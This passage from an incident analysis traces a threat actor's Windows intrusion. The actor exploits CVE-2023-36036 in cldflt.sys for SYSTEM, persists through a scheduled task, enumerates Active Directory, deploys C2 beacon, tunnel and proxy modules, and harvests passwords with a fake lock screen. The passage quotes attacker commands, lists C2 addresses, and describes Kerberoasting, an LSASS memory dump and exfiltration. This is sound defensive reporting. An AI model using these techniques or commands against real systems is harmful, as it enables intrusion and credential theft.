CVE-2023-36036 is a heap buffer overflow in how cldflt.sys processes messages from these providers. By sending crafted data through the driver’s communication interface, an attacker can overflow an internal buffer and corrupt adjacent memory. With controlled heap layout, this corruption becomes a kernel write primitive.

Reused technique, adapted exploit

While analyzing the CVE-2023-36036 exploit, it became clear that the threat actor did not build their methodology from scratch. STAR Labs documented a similar chain in their analysis of CVE-2021-31969 also in cldflt.sys. Their work outlined the core steps: Register a fake sync provider, shape the kernel heap, trigger the overflow, and overwrite a token.

The exploit we analyzed follows the same general playbook, but adapts it for the CVE-2023-36036 vulnerability.

The threat actor reused three core steps from the STAR Labs research to stabilize their exploit:

Sync provider registration. The exploit registers itself as "PLURIBUS" with GUID {904EE598-0511-4664-82A8-22C4A7501044}, pointing to %TEMP%\cldflt. This causes the driver to treat the directory as a valid Cloud Files root and route file operations through the vulnerable path.

WNF heap shaping. The exploit uses 4 undocumented ntdll syscalls: NtCreateWnfStateName, NtUpdateWnfStateData, NtDeleteWnfStateData, and NtQueryWnfStateData to allocate a large number of small objects in the kernel pool. This shapes memory so the overflow lands on controlled data instead of random structures. Without this step, the buffer overflow in cldflt.sys would write to unpredictable addresses and can crash the system

Data-Only Token Overwrite. Instead of using process injection or shellcode, the exploit uses its own token in kernel memory by flipping a privilege bit to gain SYSTEM access. What sets testdllLPE.dll apart is what the operator added on top of that scaffolding.

Kernel discovery method. It probes the kernel address range in 1 MB steps, measuring minute differences in memory access latency to identify ntoskrnl base. This avoids calling privileged APIs.

Decoupled execution model. Instead of elevating the thread running the exploit, this binary spawns a helper thread that continuously polls PrivilegeCheck(SeDebugPrivilege). This allows the main exploit thread to crash, hang, or retry the kernel write multiple times without losing the payload. The moment the kernel finally flips the privilege bit, the helper thread detects the change and immediately launches internal.py as SYSTEM.

Trigger path. The vulnerability is reached through the driver’s message handling path. When processing a FilterSendMessage request, cldflt.sys copies attacker-controlled data into a fixed-size buffer without proper bounds checking, overflowing into adjacent memory, specifically a function pointer.

To trigger execution, the exploit creates a placeholder file within the fake sync root and writes to it.

⠀

When the driver intercepts the write to Link.log, it invokes the corrupted function pointer. This results in a controlled kernel write, which flips the SeDebugPrivilege bit in the helper thread's token.

After the WriteFile call completes, the main exploit thread exits. The helper thread, which was polling PrivilegeCheck(SeDebugPrivilege) once per second since the exploit started, detects the change and breaks out of its loop. At this point, the privilege escalation has succeeded. The helper thread immediately launches the payload. 

⠀

Stage 4: Post-exploitation 

The newly spawned internal.py process was running under a SYSTEM token. The attacker confirmed this with whoami and immediately created a scheduled task (TempLogA) to execute internal.py daily at 13:00 with SYSTEM privileges.

schtasks /create /tn TempLogA 
  /tr "C:\Users\USER\AppData\Roaming\WPy64-31401\python\pythonw.exe internal.py" 
/sc daily /st 13:00 /ru SYSTEM /rl HIGHEST /f

Figure 10: Creation of SYSTEM-level scheduled task (TempLogA) for persistence.

With persistence in place, the attacker moved on to Active Directory enumeration.

$d = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().GetDirectoryEntry().distinguishedName
$s = New-Object DirectoryServices.DirectorySearcher([ADSI]"LDAP://$d")
$s.PageSize = 1000
$s.Filter = "(objectClass=user)"
$s.FindAll().Count

Figure 11: Powershell command returns the total number of domain user accounts.

Shortly after, the compromised account established a remote PowerShell session (WinRM) to a second host. Once connected, additional enumeration commands were executed through the remote PowerShell process (wsmprovhost.exe), extending visibility beyond the initial system.

Expanding the foothold

Within hours of privilege escalation and enumeration, 3 additional Python modules were deployed:

Microsoft5237.py: HTTP beacon to 87.120.186.229 and 149.248.78.202. Captures screenshots via PowerShell, monitors user logins/logouts, uploads files to C2.

Dell508.py: Reverse TCP tunnel to 207.246.114.50 and 149.28.96.170 on port 80, disguised as HTTP upgrade. C2 server instructs victim to connect to specific internal targets; victim relays traffic bidirectionally.

PCDr6967.py: SOCKS5 proxy to 96.9.125.29, 144.172.111.49, and 104.194.152.246 on port 50504. Routes attacker's tools (RDP, browsers, Nmap) through victim into internal network.

Stage 5: The lock screen that wasn't

Roughly two hours after privilege escalation, the attacker deployed a second DLL.

rundll32.exe com6848.dll,open e8vy[REDACTED]

Figure 12: Execution of com6848.dll via rundll32 to deploy credential harvesting payload.

The com6848.dll (SHA-256: 30e5a6c982396cdf3157195b540f75096869baa8570f66fab88c07c161be27f0, internal name apple.dll) is a 32-bit DLL with a single export open. Its .rdata section is over 5 MB and contains an encrypted payload. The decryption key was conveniently provided on the command line by the attacker.

Once decrypted, the DLL reflectively loads a second stage stage2.dll (SHA-256: f5b2dbd8ec9671c0261f093ebc5f3d35920b592458a3b800cc946265111e67d0). This DLL renders a perfect replica of the Windows 10 lock screen, using the embedded font to ensure visual accuracy even on systems where the font isn’t installed. The user sees what appears to be a normal screen lock and types their password to unlock it. The DLL captures it, and writes the result to disk as yyyy-mm-dd-Log.txt

What the credential unlocked

Wait, didn't the operator already have SYSTEM privileges? Why bother with a fake lock screen?

By this point, indeed the operator had SYSTEM-level access on the host. What they didn't have, though, was the user's domain credentials. SYSTEM can authenticate using the machine account, but it cannot authenticate as the user. It can't access user-specific resources, such as file shares requiring the user's permissions, mailboxes, web applications expecting user credentials, or RDP sessions that need to establish an interactive logon as that specific domain account.

The same evening, the attacker used harvested credentials to authenticate via RDP to another workstation in the network. DNS logs showed connections to Dropbox and some internal systems. Additionally, they also performed Kerberoasting against service accounts, requesting vulnerable Kerberos tickets in an attempt to expand access within the environment.

The following morning, the attacker returned to the second host via RDP and used Microsoft Edge to download the Comae toolkit, including DumpIt, a legitimate memory acquisition tool. Two minutes after unarchiving the Comae toolkit, the threat actor navigated within the browser to uploadnow[.]io, which offers free anonymous file upload features. During this browser session, the threat actor searched via Bing if SwissTransfer was a safe site to transfer large files, likely evaluating additional exfiltration methods. 

Shortly after, DumpIt.exe was executed on the second host. DumpIt captures physical RAM, including LSASS process memory, which can contain cleartext passwords, NTLM hashes, and Kerberos tickets. Based on timing and network activity, the memory dump was likely exfiltrated via uploadnow[.]io.

MITRE ATT&CK techniques